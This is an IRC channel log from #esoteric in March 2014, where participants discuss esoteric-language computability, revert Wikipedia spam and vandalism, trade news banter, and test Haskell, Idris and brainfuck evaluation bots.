:oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well the idea of comparing those occured to me, but i haven't thought enough to say if a similar argument can work < 1393784660 325415 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm < 1393784703 735775 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because a lot clearly depends on alignment with the execution, unlike look-and-say < 1393784784 579326 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :anyway also with ever-growing things you get into the trouble like with ais523's TM proof that turing-completeness is rather fuzzily defined < 1393784798 794752 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393784855 566758 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :indeed. if computation is possible, you have to extract the answer manually. so it be called weak universality if it's there. < 1393784858 306616 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393785335 322731 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :one thing you need to avoid is that any part of the queue starts growing exponentially so information cannot cross it. < 1393785447 482748 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which is similar to what happens to roman numeral look and say - there are no atom boundaries in the ordinary sense, but things grow faster than they can communicate so you end up with an analogous process < 1393785525 675774 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm i suppose with resPairate=2 you'd still have the question of whether you could communicate using the alignments < 1393785559 290996 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which _might_ work even across something exponentially growing. < 1393785622 564470 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :quintopia: why would Wolfram Language have a lot of libraries? < 1393785650 390982 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: the libraries are called "Mathematica" < 1393785682 115608 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Does Mathematica have libraries for processing WSDLs? IRC clients? < 1393785734 182868 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :PROBABLY < 1393785740 937413 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it has everything, don't you know < 1393785822 277516 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Did Wikipedia(/MediaWiki) have a "git blame" style feature where it annotates the lines of the current version of the page and shows who last edited those lines? < 1393785905 990222 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(I'm wondering who added a barely disguised SatelliteDirect ad -- http://www.oscarslive2014.com/ -- on top of the "Official websites" external links section.) < 1393785952 135084 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i just use binary search to find such things < 1393785972 634273 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(although i suppose i'd be interested to know the answer, too) < 1393785977 862913 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: what page? < 1393786006 638104 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://en.wikipedia.org/wiki/86th_Academy_Awards < 1393786057 358742 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I've found a couple of edits changing it so far. (It used to have "Watch Oscars Live On Your PC" as the link title, which sounds a lot more ad-y than the current.) < 1393786105 270533 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And it's come and gone too. < 1393786140 467509 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :eek, i've not used binary search on pages with _that_ large a history before. < 1393786150 263158 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Seems to be different people adding it with different URLs every now and then. < 1393786157 271070 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The one I saw was already reverted, too. < 1393786168 47380 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, or maybe not. < 1393786187 375280 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It was added by the second-latest edit, anyway.) < 1393786297 589619 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(By Mr. 176.42.136.235, who coincidentally enough is from Turkey, like whoever registered the domain the link was to.) < 1393786352 864666 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Should probably go ahead and press that undo button myself. I mean, it is the encyclopedia *everyone* can edit. < 1393786448 295584 :JZTech101!jztech101@botters/jztech101 QUIT :Quit: Now what? < 1393786510 424009 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i just did < 1393786514 752940 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That was a good thing. < 1393786525 792953 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Because I have no idea what my Wikipedia user account is. < 1393786538 537299 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And appearing as an IP address is just so pedestrian, you know. < 1393786604 310548 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :e also added the link to "Academy Awards", but that was already reverted. < 1393786775 10860 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and the same ip did a completely unrelated, but very dubious set of edits to Samuel Holmén < 1393786794 606190 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but that was months ago < 1393786964 451293 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :surely you must be https://en.wikipedia.org/wiki/User:Fizzi830 < 1393786976 31399 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION runs away < 1393786976 923561 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I have no idea what the "(streamable)" in their link in the "Academy Awards" meant. < 1393786990 387401 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Surely. < 1393787010 75623 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I like the talk page of that user page. < 1393787017 626209 :Guest73663!jztech101@crabhost.org JOIN :#esoteric < 1393787073 892139 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Or, I mean... I am like, SO sure it's my page. UGH! TTYL! < 1393787106 628127 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :O < 1393787110 540389 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Whoops. < 1393787214 730348 :Guest73663!jztech101@crabhost.org NICK :JZTech101 < 1393787216 751741 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well if you have a wikipedia account, you've not made it under any obvious name < 1393787232 388400 :JZTech101!jztech101@crabhost.org QUIT :Changing host < 1393787232 574239 :JZTech101!jztech101@botters/jztech101 JOIN :#esoteric < 1393787249 325016 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Are you sure I'm not Fizzie-zombie23, editing "Talk:Mayday (Taiwanese band)" and "Sokka"? < 1393787261 852749 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Perhaps I didn't have an account at all.) < 1393787346 7662 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or that you never made a user page < 1393787375 886110 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I was looking at Special:ListUsers for myself. < 1393787441 151847 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah. < 1393787463 377690 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393787473 798153 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Perhaps I was Fizzieissie, whose only contribution was to change the Portuguese translation of Locomotive from "Locomotiva" to "vaginia", which does sound slightly suspicious. < 1393787600 11504 :JZTech101!jztech101@botters/jztech101 QUIT :Quit: Now what? < 1393787610 139451 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Gardening ad playing. "Wipe out this" depicting a dandelion < 1393787614 987043 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :But it looks so pretty :( < 1393787661 349536 :JZTech102!jztech101@crabhost.org JOIN :#esoteric < 1393787768 940100 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Which I keep spelling dandeloin < 1393787781 20112 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Unless I try to type dandeloin in which case I type dandelion < 1393787884 204692 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Wikipedia says it's a "beneficial weed", which makes me more confused. I assume the ad had them removing it because it's a weed (I knew that much), but if it's beneficial.. < 1393787914 183499 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hmph, changing ListUsers to sort by creation date makes giving a username prefix completely useless. < 1393788025 720722 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I presume it's all about what you want in your garden. < 1393788102 654495 :JZTech102!jztech101@crabhost.org NICK :JZTech101 < 1393788102 840857 :JZTech101!jztech101@crabhost.org QUIT :Changing host < 1393788102 841005 :JZTech101!jztech101@botters/jztech101 JOIN :#esoteric < 1393788140 801144 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Ah, it's a nitrogen fixer. < 1393788147 235019 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Among other things. < 1393788172 533682 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Also, it's edible. Bitter, but hey. < 1393788898 287121 :shikhin!~Shikhin@unaffiliated/shikhin NICK :sad < 1393788977 143496 :sad!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393789267 664826 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"A phone touted as the first to put privacy and security ahead of all other considerations launched at a packed event at Mobile World Congress in Barcelona, Spain, today." < 1393789277 371626 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So, a paperweight? < 1393789305 106515 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :Yes < 1393789463 155053 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :I dunno man, could be bugged. < 1393789542 288731 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`addquote "A phone touted as the first to put privacy and security ahead of all other considerations launched at a packed event at Mobile World Congress in Barcelona, Spain, today." So, a paperweight? Yes I dunno man, could be bugged. < 1393789544 906390 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1174) "A phone touted as the first to put privacy and security ahead of all other considerations launched at a packed event at Mobile World Congress in Barcelona, Spain, today." So, a paperweight? Yes I dunno man, could be bugged. < 1393791250 521775 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :In the computer game I described (which could be called "Flying to the center of the Earth"), of course you would need to go through a lot of passages just getting through the center of the planets to the outside and to the inside. So, those are three phases; and then once you reach the center, it still isn't finished yet so it is a fourth phase. Each phase can affect the future phases too in various ways. < 1393791399 148437 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And in the final phase, once you are in the center of the Earth, if you could optionally enable listening on a TCP port so that it can be multi-player, other players can try to stop you, to help you, or to be a double-agent. < 1393791521 224576 :atrapado!~ddd@unaffiliated/atrapado QUIT :Quit: Leaving < 1393791523 28411 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :So, it is like four games in one that interfere with each other, I suppose like how Ultimate Gipf does something like that < 1393791865 713219 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is it better now? < 1393792099 764345 :ion!ion@heh.fi PRIVMSG #esoteric :"You just don't in the 21st century behave in 19th century fashion by invading another country on completely trumped up pre-text," Kerry told the CBS program "Face the Nation." http://www.reuters.com/article/2014/03/02/us-ukraine-crisis-usa-kerry-idUSBREA210DG20140302 < 1393792142 569698 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :what are you talking about, defending ethnic russians is a totally sensible reason < 1393792322 115549 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I keep forgetting that the 19th century was two centuries ago < 1393792323 26482 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Oh did Russia forget to tell the US about the proof that the Ukraine has weapons of mass destruction? < 1393792486 296980 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What kind of weapons of mass destructions? < 1393792497 665976 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Politically convenient ones. < 1393792509 598615 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :like the US had in 2001. < 1393792525 613264 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(Which was in the 21st century. That's why I thought of it.) < 1393792989 747140 :ion!ion@heh.fi PRIVMSG #esoteric :This article documents a current event. Information may change rapidly as the event progresses. (March 2014) http://en.wikipedia.org/wiki/World_War_III < 1393792997 73277 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :¬_¬ < 1393793026 161228 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :wat < 1393793116 299837 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Russia invaded Ukraine meaning WW3 has begun, prepare yourself for war." < 1393793123 23056 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :From a since-reverted version of that page. < 1393793128 9419 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :¬_____¬ < 1393793169 119131 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :if we're going for dumb wikivandalism i prefer the one on G8 "The Group of Eight (G8) is a forum for the governments of seven leading industrialized democracies, plus Russia." < 1393793187 196409 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Welcome to Wikipedia, the free encyclopedia that anyone can edit. < 1393793260 481501 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1393793433 402362 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1393793466 980433 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Whoever reverted it apparently didn't notice the current-event template.) < 1393793918 964816 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well i'm _not_ going to revert it. < 1393793996 304059 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1393794080 799200 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well the G8 one was reverted, naturally by a russian IP. < 1393794903 341952 :blitter64!~blitter@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1393795422 580050 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"unsigned char y = -1" nooooo < 1393795558 753193 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :isnt that usually just ÿ < 1393795583 581571 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :is there a language where ÿ is a legal identifier < 1393795608 358540 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ẍ could be one too < 1393795613 469207 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> let ÿ = "yes" in ÿ < 1393795614 706527 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "yes" < 1393795656 622879 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :> let ẍ = "no" in ẍ < 1393795657 779446 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "no" < 1393796104 16766 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t [Vect 5 String, String, Type] < 1393796105 204028 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393796136 412289 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :^^ doesn't work with the Idris bot either < 1393796142 18768 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric : > :t with Vect [Vect 5 String, String, Type] < 1393796142 204233 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric : [Vect (fromInteger 5) String, String, Type] : Vect 3 Type < 1393796291 399265 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393796292 681006 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Aww, the colors didn't copy < 1393796305 131270 :atslash!~atslash@playisland.ru QUIT :Ping timeout: 240 seconds < 1393796307 6755 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And Quassel isn't showing me the mode of the channel < 1393796317 54406 :atslash!~atslash@46.72.83.247 JOIN :#esoteric < 1393796389 401200 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 252 seconds < 1393796641 359402 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1393796907 578563 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :+n, hth. < 1393796997 840403 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So no color stripping < 1393797038 876303 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I may turn into a language bot collector < 1393797050 816529 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that sounds like something you would do. < 1393797083 819822 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think I'll store my collection in #esoteric < 1393797102 363878 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :imminently practical and useful < 1393797110 474878 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :everyone here wants access to all languages all the time < 1393797157 837135 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Wonder if it would just be easier to install an Idris interpreter in HackEgo < 1393797284 73044 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :but then how will we make the population of this channel over 50% bots in the longrun? < 1393797287 76678 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :be sensible < 1393797304 920557 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yeah sgeo, think this through. take your position as bot steward seriously. < 1393797600 458248 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393797651 665958 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Quit: Leaving < 1393797756 350202 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393797882 944293 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 244 seconds < 1393798324 586676 :eighteighteighte!~Eight8Eig@c-68-40-148-246.hsd1.mi.comcast.net JOIN :#esoteric < 1393798438 474678 :eighteighteighte!~Eight8Eig@c-68-40-148-246.hsd1.mi.comcast.net PART :#esoteric < 1393798813 899095 :nisstyre!yourstruly@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1393798837 901589 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 JOIN :#esoteric < 1393799383 250445 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So, person who runs Idris bot says e can add #esoteric to the list < 1393799386 267372 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Should I do it? < 1393799567 412557 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Maybe not, the prefix (> ) is hardcoded < 1393799570 957208 :ion!ion@heh.fi PRIVMSG #esoteric :The channel traditionally has a very anti-bot sentiment, that would be groundbreaking. < 1393799580 450057 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Could lead to some hilarity with lambdabot < 1393799582 271892 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"hilarity" < 1393799591 499031 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :yeah, that sounds fun. < 1393799594 237251 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> fix error < 1393799595 392795 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "*Exception: *Exception: *Exception: *Exception: *Exception: *Exception: *Ex... < 1393799608 976332 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I can make lambdabot leave. *shrugs* < 1393799619 746177 :ion!ion@heh.fi PRIVMSG #esoteric :Everyone simply needs to start using the intersection of Haskell and Idris. < 1393799626 541569 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :int-e: I think people value a Haskell bot over Idris bot < 1393799665 512007 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@bf +++++[>+++++++<-]. < 1393799665 820610 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Done. < 1393799675 434262 :ion!ion@heh.fi PRIVMSG #esoteric :`coins < 1393799676 866330 :blitter64!~blitter@75-121-39-142.dyn.centurytel.net PRIVMSG #esoteric ::O < 1393799677 759440 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :23coin attocoin tricoin subtlecoin eccecoin cvhcoin iyurduebagcoin thromacoin brailitcoin doubcoin acrowcoin cencoin rhyoldcoin combacoin tendcoin glycoin whirancoin stoplicoin duplearmynacoin hanifiecoin < 1393799689 26844 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@help bf < 1393799689 254855 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :bf . Evaluate a brainf*ck expression < 1393799721 234444 :ion!ion@heh.fi PRIVMSG #esoteric :brainfasteriskck < 1393799751 248998 :reynir!~reynir@unaffiliated/reynir JOIN :#esoteric < 1393799766 786866 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@bf +++++[>+++++++<-]>. < 1393799766 977232 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : # < 1393799771 485554 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :`welcome reynir < 1393799772 697681 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :reynir: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1393799776 203037 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ok, that was stupid. so @bf works :) < 1393799777 988825 :reynir!~reynir@unaffiliated/reynir PRIVMSG #esoteric :thank you < 1393799780 352306 :blitter64!~blitter@75-121-39-142.dyn.centurytel.net PRIVMSG #esoteric :bf is a great demonstration of how a languages popularity is tied to it's name < 1393799792 751493 :blitter64!~blitter@75-121-39-142.dyn.centurytel.net PRIVMSG #esoteric :@bf . < 1393799792 936682 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Done. < 1393799805 555606 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net JOIN :#esoteric < 1393799809 957819 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :but it filters control characters. < 1393799822 783694 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :and I'm not sure what it does with , ... < 1393799832 841589 :ion!ion@heh.fi PRIVMSG #esoteric :@bf print "Done." < 1393799833 40073 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Done. < 1393799837 981767 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :wat < 1393799849 39289 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net JOIN :#esoteric < 1393799871 67018 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t with Vect [Int, Bool, Vect 3 Type] < 1393799871 320352 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :04[12Int04, 12Bool04, 12Vect (09fromInteger 043) 12Type04] : 12Vect 043 12Type < 1393799871 775404 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :awesome. < 1393799872 125787 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393799881 617561 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :ooh, pretty colors. < 1393799930 686369 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Unfortunately, I don't think that lambdabot's prefix can be configured on a per channel basis. < 1393799953 613949 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :idris-ircslave's prefix is hardcoded too. If I ran it myself, could change it < 1393799962 450841 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> text "> 1" < 1393799962 691948 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :No such variable text < 1393799963 537033 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : > 1 < 1393799981 862398 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Melvar: can idris-ircslave do IO? < 1393800027 772102 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> the Bool "Hello" < 1393800027 981671 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1393800028 168437 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : 12String < 1393800028 168592 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :with < 1393800028 168741 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : 12Bool < 1393800028 168832 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1393800028 841712 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: data constructor `Bool' < 1393800035 321308 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Sgeo: No. < 1393800070 218332 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> the (so True) oh < 1393800070 404105 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :04oh : 12so 04True < 1393800071 269411 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: `so' < 1393800071 454527 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant one of these: < 1393800071 454682 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `s' (imported from Debug.SimpleReflect), < 1393800072 897868 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `o' (imported from Debug.SimpleReflect), < 1393800074 842743 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `iso' (imported from Control.Lens)Not in scope: `oh' < 1393800081 530405 :ion!ion@heh.fi PRIVMSG #esoteric :idris-ircslave seems to be faster than lambdabot. Idris is faster than Haskell. QED < 1393800087 126458 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :I filter commands, only a few I deem safe are allowed. < 1393800089 79980 :reynir!~reynir@unaffiliated/reynir PRIVMSG #esoteric :what is lambdabot doing < 1393800106 337264 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :ion: Both Idris itself and the Bot are written in Haskell. < 1393800107 29942 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :s and o are... things, I guess? < 1393800123 766398 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> the (so False) oh < 1393800123 951389 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:16:Can't unify < 1393800124 136470 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : 12so 04True < 1393800124 136632 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :with < 1393800124 136724 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : 12so 04False < 1393800124 136816 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Specifically:14↵… < 1393800124 675346 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: `so' < 1393800124 860519 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant one of these: < 1393800124 860670 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `s' (imported from Debug.SimpleReflect), < 1393800124 860760 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `o' (imported from Debug.SimpleReflect), < 1393800124 